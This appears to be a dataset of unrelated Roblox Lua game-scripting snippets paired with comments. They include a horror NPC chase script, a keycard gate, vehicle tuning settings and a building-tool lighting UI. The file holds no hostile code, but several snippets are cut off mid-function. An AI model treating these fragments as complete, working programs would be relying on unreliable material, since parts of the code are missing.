image.Position = UDim2.new(0.001, 0, yOffset, 0)
image.Size = UDim2.new(1, 0, 0.7, 0)
image.Parent = result
return result
end
local this = {}
this.ChatBubble = {}
this.ChatBubbleWithTail = {}
this.ScalingChatBubbleWithTail = {}
this.CharacterSortedMsg = createMap()
|
-- // Steven_Scripts, 2022
|
local tws = game:GetService("TweenService")
local buttonSystem = script.Parent
local alarmPart = buttonSystem.AlarmPart
local gate = buttonSystem.Parent
local door = gate.SlidingMetalDoor
local reader = buttonSystem.KeycardReader
local readerPrimary = reader.PrimaryPart
local prompt = readerPrimary.ProximityPrompt
local doorPrimary = gate.SlidingMetalDoor.Primary
local closedPos = door.ClosePos
local openPos = door.OpenPos
local doorCloseTween = tws:Create(doorPrimary,TweenInfo.new(8, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),{CFrame = closedPos.CFrame})
local doorOpenTween = tws:Create(doorPrimary,TweenInfo.new(8, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),{CFrame = openPos.CFrame})
|
-- Then, get a FriendPages object for their friends
|
local friendPages = Players:GetFriendsAsync(userId)
local friends = {}
for item,pageNO in iterPageItems(friendPages) do
table.insert(friends,item.Id)
end
local usernames = {}
for item,pageNO in iterPageItems(friendPages) do
table.insert(usernames,item.Username)
end
local random = math.random(#friends)
local randomFriend = friends[random]
local newhumanoid = game.Players:GetHumanoidDescriptionFromUserId(randomFriend)
local npc = script.Parent
npc.Humanoid:ApplyDescription(newhumanoid)
|
--[[
Returns the current value of this Tween object.
The object will be registered as a dependency unless `asDependency` is false.
]]
|
function class:get(asDependency: boolean?)
if asDependency ~= false then
useDependency(self)
end
return self._currentValue
end
|
--[[
You can load maps with their asset IDs at any time, though they aren't saved when this server shuts down.
Be careful what you load. Maps can do anything, including showing scary things, giving admin commands, or breaking the server entirely.
]]
| |
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump
-- rather than sustained jumping. This is only to preserve the current behavior through the refactor.
|
function DynamicThumbstick:GetIsJumping()
local wasJumping = self.isJumping
self.isJumping = false
return wasJumping
end
function DynamicThumbstick:EnableAutoJump(enable)
local humanoid = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
if enable then
self.shouldRevertAutoJumpOnDisable = (humanoid.AutoJumpEnabled == false) and (Players.LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice)
humanoid.AutoJumpEnabled = true
elseif self.shouldRevertAutoJumpOnDisable then
humanoid.AutoJumpEnabled = false
end
end
end
function DynamicThumbstick:Enable(enable, uiParentFrame)
if enable == nil then return false end -- If nil, return false (invalid argument)
enable = enable and true or false -- Force anything non-nil to boolean before comparison
if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state
if enable then
-- Enable
if not self.thumbstickFrame then
self:Create(uiParentFrame)
end
if Players.LocalPlayer.Character then
self:OnCharacterAdded(Players.LocalPlayer.Character)
else
Players.LocalPlayer.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char)
end)
end
else
-- Disable
self:OnInputEnded() -- Cleanup
end
self.enabled = enable
self.thumbstickFrame.Visible = enable
end
function DynamicThumbstick:OnCharacterAdded(char)
for _, child in ipairs(char:GetChildren()) do
if child:IsA("Tool") then
self.toolEquipped = child
end
end
char.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
self.toolEquipped = child
elseif child:IsA("Humanoid") then
self:EnableAutoJump(true)
end
end)
char.ChildRemoved:Connect(function(child)
if child == self.toolEquipped then
self.toolEquipped = nil
end
end)
self.humanoid = char:FindFirstChildOfClass("Humanoid")
if self.humanoid then
self:EnableAutoJump(true)
end
end
|
-- Contructors
|
function ViewportWindow.new(surfaceGUI)
local self = setmetatable({}, ViewportWindow)
self.SurfaceGUI = surfaceGUI
self.Camera = Instance.new("Camera", surfaceGUI)
self.ViewportFrame = VPF:Clone()
self.ViewportFrame.Name = "WorldFrame"
self.ViewportFrame.ZIndex = 2
self.ViewportFrame.LightDirection = -game.Lighting:GetSunDirection()
self.ViewportFrame.CurrentCamera = self.Camera
self.ViewportFrame.Parent = surfaceGUI
self.SkyboxFrame = VPF:Clone()
self.SkyboxFrame.Name = "SkyboxFrame"
self.SkyboxFrame.ZIndex = 1
self.SkyboxFrame.Ambient = Color3.new(1, 1, 1)
self.SkyboxFrame.LightColor = Color3.new(0, 0, 0)
self.SkyboxFrame.CurrentCamera = self.Camera
self.SkyboxFrame.Parent = surfaceGUI
return self
end
function ViewportWindow.fromPart(part, normalId, parent)
local surfaceGUI = Instance.new("SurfaceGui")
surfaceGUI.Face = normalId
surfaceGUI.CanvasSize = Vector2.new(1024, 1024)
surfaceGUI.SizingMode = Enum.SurfaceGuiSizingMode.FixedSize
surfaceGUI.Adornee = part
surfaceGUI.ClipsDescendants = true
surfaceGUI.Parent = parent
return ViewportWindow.new(surfaceGUI)
end
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]
|
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=300;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("Torso");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(10);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=9;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=50;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;
|
--[[
Creates a point of interest at specified position, with specified weight. Will continue to exist until the callback function returns false
]]
|
function MonsterManager.createInterestWhileTrue(position, weight, callback)
local entry = {position = position, weight = weight}
table.insert(interests, entry)
coroutine.wrap(
function()
while callback() do
wait()
end
interests = TableUtils.without(interests, entry)
MonsterManager.updateMonsterInterests()
end
)()
MonsterManager.updateMonsterInterests()
end
|
--player joins
|
game.Players.PlayerAdded:connect(function(np)
--wait for load, make and init value
repeat wait() until np.Character or np.Parent ~= game.Players
local resources = Instance.new("IntConstrainedValue",np)
resources.MaxValue = max
resources.Value = def
resources.Name = "Resources"
--regen over time
while np.Parent == game.Players and wait(sp) do
if resources.Value < max then
--do not exceed max
resources.Value = resources.Value + amt
end
end
end)
|
--[[Transmission]]
|
Tune.TransModes = {"Auto"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 2.65 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 0.5 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 0.350 , -- Reverse, Neutral, and 1st gear are required
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[[
Packs a number of arguments into a table and returns its length.
Used to cajole varargs without dropping sparse values.
]]
|
local function pack(...)
local len = select("#", ...)
return len, { ... }
end
|
----
----
|
if hit.Parent:findFirstChild("Humanoid") ~= nil then
local target1 = "RightUpperArm"
local target2 = "RightUpperArm2"
if hit.Parent:findFirstChild(target2) == nil then
local g = script.Parent.Parent[target2]:clone()
g.Parent = hit.Parent
local C = g:GetChildren()
for i=1, #C do
if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then
local W = Instance.new("Weld")
W.Part0 = g.Middle
W.Part1 = C[i]
local CJ = CFrame.new(g.Middle.Position)
local C0 = g.Middle.CFrame:inverse()*CJ
local C1 = C[i].CFrame:inverse()*CJ
W.C0 = C0
W.C1 = C1
W.Parent = g.Middle
end
local Y = Instance.new("Weld")
Y.Part0 = hit.Parent[target1]
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0.26, 0, 0)
Y.Parent = Y.Part0
end
local h = g:GetChildren()
for i = 1, # h do
h[i].Anchored = false
h[i].CanCollide = false
end
end
end
|
-- List of creatable light types
|
local LightTypes = { 'SpotLight', 'PointLight', 'SurfaceLight' };
function OpenLightOptions(LightType)
-- Opens the settings UI for the given light type
-- Get the UI
local UI = LightingTool.UI[LightType];
local UITemplate = Core.Tool.Interfaces.BTLightingToolGUI[LightType];
-- Close up all light option UIs
CloseLightOptions(LightType);
-- Calculate how much to expand this options UI by
local HeightExpansion = UDim2.new(0, 0, 0, UITemplate.Options.Size.Y.Offset);
-- Start the options UI size from 0
UI.Options.Size = UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0);
-- Allow the options UI to be seen
UI.ClipsDescendants = false;
-- Perform the options UI resize animation
UI.Options:TweenSize(
UITemplate.Options.Size + HeightExpansion,
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true,
function ()
-- Allow visibility of overflowing UIs within the options UI
UI.Options.ClipsDescendants = false;
end
);
-- Expand the main UI to accommodate the expanded options UI
LightingTool.UI:TweenSize(
Core.Tool.Interfaces.BTLightingToolGUI.Size + HeightExpansion,
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
-- Push any UIs below this one downwards
local LightTypeIndex = Support.FindTableOccurrence(LightTypes, LightType);
for LightTypeIndex = LightTypeIndex + 1, #LightTypes do
-- Get the UI
local LightType = LightTypes[LightTypeIndex];
local UI = LightingTool.UI[LightType];
-- Perform the position animation
UI:TweenPosition(
UDim2.new(
UI.Position.X.Scale,
UI.Position.X.Offset,
UI.Position.Y.Scale,
30 + 30 * (LightTypeIndex - 1) + HeightExpansion.Y.Offset
),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
end;
-- Enable surface setting by clicking
EnableSurfaceClickSelection(LightType);
end;
function CloseLightOptions(Exception)
-- Closes all light options, except the one for the given light type
-- Go through each light type
for LightTypeIndex, LightType in pairs(LightTypes) do
-- Get the UI for each light type
local UI = LightingTool.UI[LightType];
local UITemplate = Core.Tool.Interfaces.BTLightingToolGUI[LightType];
-- Remember the initial size for each options UI
local InitialSize = UITemplate.Options.Size;
-- Move each light type UI to its starting position
UI:TweenPosition(
UDim2.new(
UI.Position.X.Scale,
UI.Position.X.Offset,
UI.Position.Y.Scale,
30 + 30 * (LightTypeIndex - 1)
),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
-- Make sure to not resize the exempt light type UI
if not Exception or Exception and LightType ~= Exception then
-- Allow the options UI to be resized
UI.Options.ClipsDescendants = true;
-- Perform the resize animation to close up
UI.Options:TweenSize(
UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true,
function ()
-- Hide the option UI
UI.ClipsDescendants = true;
-- Set the options UI's size to its initial size (for reexpansion)
UI.Options.Size = InitialSize;
end
);
end;
end;
-- Contract the main UI if no option UIs are being opened
if not Exception then
LightingTool.UI:TweenSize(
Core.Tool.Interfaces.BTLightingToolGUI.Size,
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
end;
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not LightingTool.UI then
return;
end;
-- Go through each light type and update each options UI
for _, LightType in pairs(LightTypes) do
local Lights = GetLights(LightType);
local LightSettingsUI = LightingTool.UI[LightType];
-- Option input references
local Options = LightSettingsUI.Options;
local RangeInput = Options.RangeOption.Input.TextBox;
local BrightnessInput = Options.BrightnessOption.Input.TextBox;
local ColorPicker = Options.ColorOption.HSVPicker;
local ColorIndicator = Options.ColorOption.Indicator;
local ShadowsCheckbox = Options.ShadowsOption.Checkbox;
-- Add/remove button references
local AddButton = LightSettingsUI.AddButton;
local RemoveButton = LightSettingsUI.RemoveButton;
-- Hide option UIs for light types not present in the selection
if #Lights == 0 and not LightSettingsUI.ClipsDescendants then
CloseLightOptions();
end;
-------------------------------------------
-- Show and hide "ADD" and "REMOVE" buttons
-------------------------------------------
-- If no selected parts have lights
if #Lights == 0 then
-- Show add button only
AddButton.Visible = true;
AddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3);
RemoveButton.Visible = false;
-- If only some selected parts have lights
elseif #Lights < #Selection.Parts then
-- Show both add and remove buttons
AddButton.Visible = true;
AddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3);
RemoveButton.Visible = true;
RemoveButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5 - RemoveButton.AbsoluteSize.X - 2, 0, 3);
-- If all selected parts have lights
elseif #Lights == #Selection.Parts then
-- Show remove button
RemoveButton.Visible = true;
RemoveButton.Position = UDim2.new(1, -RemoveButton.AbsoluteSize.X - 5, 0, 3);
AddButton.Visible = false;
end;
--------------------
-- Update each input
--------------------
-- Update the standard inputs
UpdateDataInputs {
[RangeInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Range'), 2) or '*';
[BrightnessInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Brightness'), 2) or '*';
};
-- Update type-specific inputs
if LightType == 'SpotLight' or LightType == 'SurfaceLight' then
-- Get the type-specific inputs
local AngleInput = Options.AngleOption.Input.TextBox;
local SideDropdown = Core.Cheer(Options.SideOption.Dropdown);
-- Update the angle input
UpdateDataInputs {
[AngleInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Angle'), 2) or '*';
};
-- Update the surface dropdown input
local Face = Support.IdentifyCommonProperty(Lights, 'Face');
SideDropdown.SetOption(Face and Face.Name or '*');
end;
-- Update special color input
local Color = Support.IdentifyCommonProperty(Lights, 'Color');
if Color then
ColorIndicator.BackgroundColor3 = Color;
ColorIndicator.Varies.Text = '';
else
ColorIndicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255);
ColorIndicator.Varies.Text = '*';
end;
-- Update the special shadows input
local ShadowsEnabled = Support.IdentifyCommonProperty(Lights, 'Shadows');
if ShadowsEnabled == true then
ShadowsCheckbox.Image = Core.Assets.CheckedCheckbox;
elseif ShadowsEnabled == false then
ShadowsCheckbox.Image = Core.Assets.UncheckedCheckbox;
elseif ShadowsEnabled == nil then
ShadowsCheckbox.Image = Core.Assets.SemicheckedCheckbox;
end;
end;
end;
function UpdateDataInputs(Data)
-- Updates the data in the given TextBoxes when the user isn't typing in them
-- Go through the inputs and data
for Input, UpdatedValue in pairs(Data) do
-- Makwe sure the user isn't typing into the input
if not Input:IsFocused() then
-- Set the input's value
Input.Text = tostring(UpdatedValue);
end;
end;
end;
function AddLights(LightType)
-- Prepare the change request for the server
local Changes = {};
-- Go through the selection
for _, Part in pairs(Selection.Parts) do
-- Make sure this part doesn't already have a light
if not Support.GetChildOfClass(Part, LightType) then
-- Queue a light to be created for this part
table.insert(Changes, { Part = Part, LightType = LightType });
end;
end;
-- Send the change request to the server
local Lights = Core.SyncAPI:Invoke('CreateLights', Changes);
-- Put together the history record
local HistoryRecord = {
Lights = Lights;
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select changed parts
Selection.Replace(Record.Selection)
-- Remove the lights
Core.SyncAPI:Invoke('Remove', Record.Lights);
end;
Apply = function (Record)
-- Reapplies this change
-- Restore the lights
Core.SyncAPI:Invoke('UndoRemove', Record.Lights);
-- Select changed parts
Selection.Replace(Record.Selection)
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
-- Open the options UI for this light type
